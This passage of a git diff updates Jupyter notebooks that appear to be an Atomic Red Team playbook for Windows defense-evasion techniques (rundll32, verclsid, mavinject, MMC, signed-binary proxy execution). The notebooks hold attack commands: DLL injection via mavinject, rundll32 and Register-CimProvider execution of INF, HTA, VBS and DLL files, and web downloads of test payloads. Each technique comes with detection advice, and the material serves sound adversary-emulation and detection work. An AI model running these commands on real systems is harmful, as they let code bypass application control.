"```command_prompt\nrundll32.exe syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 \"PathToAtomicsFolder\\T1218.011\\src\\T1218.011_DefaultInstall.inf\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "7842b182", + "id": "a9eea359", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.011 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "d809515d", + "id": "fecd01dc", "metadata": {}, - "source": "### Atomic Test #7 - Rundll32 setupapi.dll Execution\nTest execution of a command using rundll32.exe with setupapi.dll. Upon execution, a windows saying \"installation failed\" will be opened\n\nReference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Setupapi.yml\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Inf file must exist on disk at specified location (#{inf_to_execute})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1218.011\\src\\T1218.011_DefaultInstall.inf) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1218.011\\src\\T1218.011_DefaultInstall.inf) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011_DefaultInstall.inf\" -OutFile \"PathToAtomicsFolder\\T1218.011\\src\\T1218.011_DefaultInstall.inf\"\n\n```" + "source": "### Atomic Test #7 - Rundll32 setupapi.dll Execution\nTest execution of a command using rundll32.exe with setupapi.dll. Upon execution, a windows saying \"installation failed\" will be opened\n\nReference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Setupapi.yml\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Inf file must exist on disk at specified location (\"#{inf_to_execute}\")\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1218.011\\src\\T1218.011_DefaultInstall.inf\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1218.011\\src\\T1218.011_DefaultInstall.inf\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011_DefaultInstall.inf\" -OutFile \"PathToAtomicsFolder\\T1218.011\\src\\T1218.011_DefaultInstall.inf\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "3ee9bf52", + "id": "bb74d733", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.011 -TestNumbers 7 -GetPreReqs" }, { "cell_type": "markdown", - "id": "58fd17c1", + "id": "c0cfddc1", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nrundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 PathToAtomicsFolder\\T1218.011\\src\\T1218.011_DefaultInstall.inf\n```" + "```command_prompt\nrundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 \"PathToAtomicsFolder\\T1218.011\\src\\T1218.011_DefaultInstall.inf\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "119b1e8f", + "id": "5b3e96b9", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.011 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "3dc1639d", + "id": "98e5029f", "metadata": {}, "source": [ "### Atomic Test #8 - Execution of HTA and VBS Files using Rundll32 and URL.dll", "IcedID uses this TTP as follows:\n rundll32.exe url.dll,OpenURL %PUBLIC%\\index.hta\nTrickbot uses this TTP as follows:\n rundll32.exe URL.dll,FileProtocolHandler C:\\\\..\\\\Detail\\\\akteullen.vbs\n\nIn this atomic, the sample hta file opens the calculator and the vbs file shows a message dialog with \"rundll32 spawned wscript\"\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nrundll32.exe url.dll,OpenURL PathToAtomicsFolder\\T1218.011\\src\\index.hta\nrundll32.exe URL.dll,FileProtocolHandler PathToAtomicsFolder\\T1218.011\\src\\akteullen.vbs\n```" + "```command_prompt\nrundll32.exe url.dll,OpenURL \"PathToAtomicsFolder\\T1218.011\\src\\index.hta\"\nrundll32.exe URL.dll,FileProtocolHandler \"PathToAtomicsFolder\\T1218.011\\src\\akteullen.vbs\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "73b607d1", + "id": "a0146b9f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.011 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "c746e8f5", + "id": "7b7b5391", "metadata": {}, "source": [ "### Atomic Test #9 - Launches an executable using Rundll32 and pcwutl.dll", @@ -245,28 +245,28 @@ { "cell_type": "code", "execution_count": null, - "id": "8f284e57", + "id": "d3e0b5c1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.011 -TestNumbers 9" }, { "cell_type": "markdown", - "id": "a1a22b4f", + "id": "48124d5a", "metadata": {}, "source": "### Atomic Test #10 - Execution of non-dll using rundll32.exe\nRundll32.exe running non-dll \n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Non-dll file must exist on disk at specified location\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path C:\\Users\\$env:username\\Downloads\\calc.png) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1047/bin/calc.dll\" -OutFile \"C:\\Users\\$env:username\\Downloads\\calc.png\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "be93eedf", + "id": "598d36a0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.011 -TestNumbers 10 -GetPreReqs" }, { "cell_type": "markdown", - "id": "23d35770", + "id": "1288afea", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -276,76 +276,76 @@ { "cell_type": "code", "execution_count": null, - "id": "40d2d566", + "id": "cd09af8b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.011 -TestNumbers 10" }, { "cell_type": "markdown", - "id": "c095f38f", + "id": "e63f77e8", "metadata": {}, - "source": "### Atomic Test #11 - Rundll32 with Ordinal Value\nRundll32.exe loading dll using ordinal value #2 to DLLRegisterServer. \nUpon successful execution, Calc.exe will spawn.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: DLL file must exist on disk at specified location\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1218.010\\bin\\AllTheThingsx64.dll) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.010/bin/AllTheThingsx64.dll\" -OutFile \"PathToAtomicsFolder\\T1218.010\\bin\\AllTheThingsx64.dll\"\n\n```" + "source": "### Atomic Test #11 - Rundll32 with Ordinal Value\nRundll32.exe loading dll using ordinal value #2 to DLLRegisterServer. \nUpon successful execution, Calc.exe will spawn.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: DLL file must exist on disk at specified location\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1218.010\\bin\\AllTheThingsx64.dll\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.010/bin/AllTheThingsx64.dll\" -OutFile \"PathToAtomicsFolder\\T1218.010\\bin\\AllTheThingsx64.dll\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "93391dba", + "id": "2fa9f6c0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.011 -TestNumbers 11 -GetPreReqs" }, { "cell_type": "markdown", - "id": "c1e19c17", + "id": "4ecdb60d", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nrundll32.exe PathToAtomicsFolder\\T1218.010\\bin\\AllTheThingsx64.dll,#2\n```" + "```command_prompt\nrundll32.exe \"PathToAtomicsFolder\\T1218.010\\bin\\AllTheThingsx64.dll\",#2\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "84f175f5", + "id": "4d4dd024", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.011 -TestNumbers 11" }, { "cell_type": "markdown", - "id": "00cf7dbc", + "id": "258844db", "metadata": {}, - "source": "### Atomic Test #12 - Rundll32 with Control_RunDLL\nRundll32.exe loading dll with 'control_rundll' within the command-line, loading a .cpl or another file type related to CVE-2021-40444. \n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: DLL file must exist on disk at specified location\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1047\\bin\\calc.dll) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1047/bin/calc.dll\" -OutFile \"PathToAtomicsFolder\\T1047\\bin\\calc.dll\"\n\n```" + "source": "### Atomic Test #12 - Rundll32 with Control_RunDLL\nRundll32.exe loading dll with 'control_rundll' within the command-line, loading a .cpl or another file type related to CVE-2021-40444. \n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: DLL file must exist on disk at specified location\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1047\\bin\\calc.dll\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1047/bin/calc.dll\" -OutFile \"PathToAtomicsFolder\\T1047\\bin\\calc.dll\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b10c0032", + "id": "34e304ab", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.011 -TestNumbers 12 -GetPreReqs" }, { "cell_type": "markdown", - "id": "13fca3d2", + "id": "b821ab8b", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nrundll32.exe shell32.dll,Control_RunDLL PathToAtomicsFolder\\T1047\\bin\\calc.dll\n```" + "```command_prompt\nrundll32.exe shell32.dll,Control_RunDLL \"PathToAtomicsFolder\\T1047\\bin\\calc.dll\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "4d322441", + "id": "8cfa6de6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.011 -TestNumbers 12" }, { "cell_type": "markdown", - "id": "c10dca35", + "id": "194c7de3", "metadata": {}, "source": [ "### Atomic Test #13 - Rundll32 with desk.cpl", @@ -358,28 +358,28 @@ { "cell_type": "code", "execution_count": null, - "id": "611c22e4", + "id": "54376295", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.011 -TestNumbers 13" }, { "cell_type": "markdown", - "id": "ac7589db", + "id": "53ce05f1", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel not_an_scr.scr```" }, { "cell_type": "code", "execution_count": null, - "id": "0238257a", + "id": "2617fc3a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.011 -TestNumbers 13 -Cleanup" }, { "cell_type": "markdown", - "id": "b0f541b6", + "id": "770c1e4f", "metadata": {}, "source": "## Detection\nUse process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity.\n\nCommand arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls." } @@ -387,13 +387,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1218.012.ipynb b/playbook/tactics/defense-evasion/T1218.012.ipynb index a6b26a13..ecd52408 100644 --- a/playbook/tactics/defense-evasion/T1218.012.ipynb +++ b/playbook/tactics/defense-evasion/T1218.012.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "0c8d15e3", + "id": "47ce7b81", "metadata": {}, "source": "# T1218.012 - Verclsid\nAdversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe)\n\nAdversaries may abuse verclsid.exe to execute malicious payloads. This may be achieved by running verclsid.exe /S /C {CLSID}, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010)). Since the binary may be signed and/or native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.(Citation: LOLBAS Verclsid)(Citation: Red Canary Verclsid.exe)(Citation: BOHOPS Abusing the COM Registry)(Citation: Nick Tyrer GitHub) " }, { "cell_type": "markdown", - "id": "2c85638d", + "id": "646c2009", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "4256a8b2", + "id": "6e107a3a", "metadata": {}, "source": "## Detection\nUse process monitoring to monitor the execution and arguments of verclsid.exe. Compare recent invocations of verclsid.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of verclsid.exe may also be useful in determining the origin and purpose of the payload being executed. Depending on the environment, it may be unusual for verclsid.exe to have a parent process of a Microsoft Office product. It may also be unusual for verclsid.exe to have any child processes or to make network connections or file modifications." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1218.013.ipynb b/playbook/tactics/defense-evasion/T1218.013.ipynb index 2de68858..40ebb175 100644 --- a/playbook/tactics/defense-evasion/T1218.013.ipynb +++ b/playbook/tactics/defense-evasion/T1218.013.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "63fa1506", + "id": "0992fe41", "metadata": {}, "source": "# T1218.013 - Mavinject\nAdversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject)\n\nAdversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001)), allowing for arbitrary code execution (ex. C:\\Windows\\system32\\mavinject.exe PID /INJECTRUNNING PATH_DLL).(Citation: ATT Lazarus TTP Evolution)(Citation: Reaqta Mavinject) Since mavinject.exe may be digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process. \n\nIn addition to [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001), Mavinject.exe can also be abused to perform import descriptor injection via its /HMODULE command-line parameter (ex. mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.(Citation: Mavinject Functionality Deconstructed)" }, { "cell_type": "markdown", - "id": "c32b7726", + "id": "b0759fbb", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "e0318186", + "id": "4fd43bfc", "metadata": {}, "source": "## Detection\nMonitor the execution and arguments of mavinject.exe. Compare recent invocations of mavinject.exe with prior history of known good arguments and injected DLLs to determine anomalous and potentially adversarial activity.\n\nAdversaries may rename abusable binaries to evade detections, but the argument INJECTRUNNING is required for mavinject.exe to perform [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001) and may therefore be monitored to alert malicious activity." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1218.014.ipynb b/playbook/tactics/defense-evasion/T1218.014.ipynb index 695dc68e..88ef8500 100644 --- a/playbook/tactics/defense-evasion/T1218.014.ipynb +++ b/playbook/tactics/defense-evasion/T1218.014.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "26e14c21", + "id": "c780763b", "metadata": {}, "source": "# T1218.014 - MMC\nAdversaries may abuse mmc.exe to proxy execution of malicious .msc files. Microsoft Management Console (MMC) is a binary that may be signed by Microsoft and is used in several ways in either its GUI or in a command prompt.(Citation: win_mmc)(Citation: what_is_mmc) MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created .msc files to manage system configuration.(Citation: win_msc_files_overview)\n\nFor example, mmc C:\\Users\\foo\\admintools.msc /a will open a custom, saved console msc file in author mode.(Citation: win_mmc) Another common example is mmc gpedit.msc, which will open the Group Policy Editor application window. \n\nAdversaries may use MMC commands to perform malicious tasks. For example, mmc wbadmin.msc delete catalog -quiet deletes the backup catalog on the system (i.e. [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)) without prompts to the user (Note: wbadmin.msc may only be present by default on Windows Server operating systems).(Citation: win_wbadmin_delete_catalog)(Citation: phobos_virustotal)\n\nAdversaries may also abuse MMC to execute malicious .msc files. For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) class object.(Citation: win_clsid_key) Then, adversaries may create custom consoles with the \u201cLink to Web Address\u201d snap-in that is linked to the malicious CLSID subkey.(Citation: mmc_vulns) Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: mmc.exe -Embedding C:\\path\\to\\test.msc.(Citation: abusing_com_reg)" }, { "cell_type": "markdown", - "id": "04860b27", + "id": "e9017a5d", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "dba453e8", + "id": "480b3ef5", "metadata": {}, "source": "## Detection\nMonitor processes and command-line parameters for suspicious or malicious use of MMC. Since MMC is a signed Windows binary, verify use of MMC is legitimate and not malicious. \n\nMonitor for creation and use of .msc files. MMC may legitimately be used to call Microsoft-created .msc files, such as services.msc or eventvwr.msc. Invoking non-Microsoft .msc files may be an indicator of malicious activity. " } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1218.ipynb b/playbook/tactics/defense-evasion/T1218.ipynb index 0ce96892..40684e63 100644 --- a/playbook/tactics/defense-evasion/T1218.ipynb +++ b/playbook/tactics/defense-evasion/T1218.ipynb @@ -2,126 +2,126 @@ "cells": [ { "cell_type": "markdown", - "id": "d25f4d8e", + "id": "68663964", "metadata": {}, "source": "# T1218 - System Binary Proxy Execution\nAdversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.\n\nSimilarly, on Linux systems adversaries may abuse trusted binaries such as split to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split)" }, { "cell_type": "markdown", - "id": "8c02d34b", + "id": "e48c3078", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "77642374", + "id": "af595412", "metadata": {}, - "source": "### Atomic Test #1 - mavinject - Inject DLL into running process\nInjects arbitrary DLL into running process specified by process ID. Requires Windows 10.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: T1218.dll must exist on disk at specified location (#{dll_payload})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1218\\src\\x64\\T1218.dll) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1218\\src\\x64\\T1218.dll) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/x64/T1218.dll\" -OutFile \"PathToAtomicsFolder\\T1218\\src\\x64\\T1218.dll\"\n\n```" + "source": "### Atomic Test #1 - mavinject - Inject DLL into running process\nInjects arbitrary DLL into running process specified by process ID. Requires Windows 10.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: T1218.dll must exist on disk at specified location (#{dll_payload})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1218\\src\\x64\\T1218.dll\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1218\\src\\x64\\T1218.dll\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/x64/T1218.dll\" -OutFile \"PathToAtomicsFolder\\T1218\\src\\x64\\T1218.dll\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "18e20d1e", + "id": "01d3c402", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "821ff9c7", + "id": "bdb06ca2", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nmavinject.exe 1000 /INJECTRUNNING PathToAtomicsFolder\\T1218\\src\\x64\\T1218.dll\n```" + "```command_prompt\nmavinject.exe 1000 /INJECTRUNNING \"PathToAtomicsFolder\\T1218\\src\\x64\\T1218.dll\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "8f2207b5", + "id": "57d0c8c1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "b0c1d86b", + "id": "9c813afb", "metadata": {}, - "source": "### Atomic Test #2 - Register-CimProvider - Execute evil dll\nExecute arbitrary dll. Requires at least Windows 8/2012. Also note this dll can be served up via SMB\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: T1218-2.dll must exist on disk at specified location (#{dll_payload})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1218\\src\\Win32\\T1218-2.dll) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1218\\src\\Win32\\T1218-2.dll) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/Win32/T1218-2.dll\" -OutFile \"PathToAtomicsFolder\\T1218\\src\\Win32\\T1218-2.dll\"\n\n```" + "source": "### Atomic Test #2 - Register-CimProvider - Execute evil dll\nExecute arbitrary dll. Requires at least Windows 8/2012. Also note this dll can be served up via SMB\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: T1218-2.dll must exist on disk at specified location (#{dll_payload})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1218\\src\\Win32\\T1218-2.dll\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1218\\src\\Win32\\T1218-2.dll\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/Win32/T1218-2.dll\" -OutFile \"PathToAtomicsFolder\\T1218\\src\\Win32\\T1218-2.dll\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "3fc5b6a6", + "id": "24e05442", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "9770e260", + "id": "51cc8db9", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nC:\\Windows\\SysWow64\\Register-CimProvider.exe -Path PathToAtomicsFolder\\T1218\\src\\Win32\\T1218-2.dll\n```" + "```command_prompt\nC:\\Windows\\SysWow64\\Register-CimProvider.exe -Path \"PathToAtomicsFolder\\T1218\\src\\Win32\\T1218-2.dll\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "17d52fec", + "id": "92b09a21", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "fddc84e3", + "id": "fcd7738b", "metadata": {}, - "source": "### Atomic Test #3 - InfDefaultInstall.exe .inf Execution\nTest execution of a .inf using InfDefaultInstall.exe\n\nReference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Infdefaultinstall.yml\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: INF file must exist on disk at specified location (#{inf_to_execute})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1218\\src\\Infdefaultinstall.inf) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1218\\src\\Infdefaultinstall.inf) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/Infdefaultinstall.inf\" -OutFile \"PathToAtomicsFolder\\T1218\\src\\Infdefaultinstall.inf\"\n\n```" + "source": "### Atomic Test #3 - InfDefaultInstall.exe .inf Execution\nTest execution of a .inf using InfDefaultInstall.exe\n\nReference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Infdefaultinstall.yml\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: INF file must exist on disk at specified location (#{inf_to_execute})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1218\\src\\Infdefaultinstall.inf\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1218\\src\\Infdefaultinstall.inf\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/Infdefaultinstall.inf\" -OutFile \"PathToAtomicsFolder\\T1218\\src\\Infdefaultinstall.inf\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "03e5346e", + "id": "20c79e1a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "e962ad3b", + "id": "7d75f4af", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nInfDefaultInstall.exe PathToAtomicsFolder\\T1218\\src\\Infdefaultinstall.inf\n```" + "```command_prompt\nInfDefaultInstall.exe \"PathToAtomicsFolder\\T1218\\src\\Infdefaultinstall.inf\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "21f9898e", + "id": "ab70a088", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "204729c2", + "id": "e63f59e8", "metadata": {}, "source": "### Atomic Test #4 - ProtocolHandler.exe Downloaded a Suspicious File\nEmulates attack via documents through protocol handler in Microsoft Office. On successful execution you should see Microsoft Word launch a blank file.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Microsoft Word must be installed\n\n##### Check Prereq Commands:\n```cmd\ntry {\n $wdApp = New-Object -COMObject \"Word.Application\"\n Stop-Process -Name \"winword\"\n exit 0 } catch { exit 1 }\n\n```\n##### Get Prereq Commands:\n```cmd\nWrite-Host \"You will need to install Microsoft Word manually to meet this requirement\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9d3e385e", + "id": "28603ed2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "bc7acd44", + "id": "60c4e299", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -131,28 +131,28 @@ { "cell_type": "code", "execution_count": null, - "id": "ed1f1706", + "id": "ff605f16", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "13112ca1", + "id": "7d6e1d23", "metadata": {}, "source": "### Atomic Test #5 - Microsoft.Workflow.Compiler.exe Payload Execution\nEmulates attack with 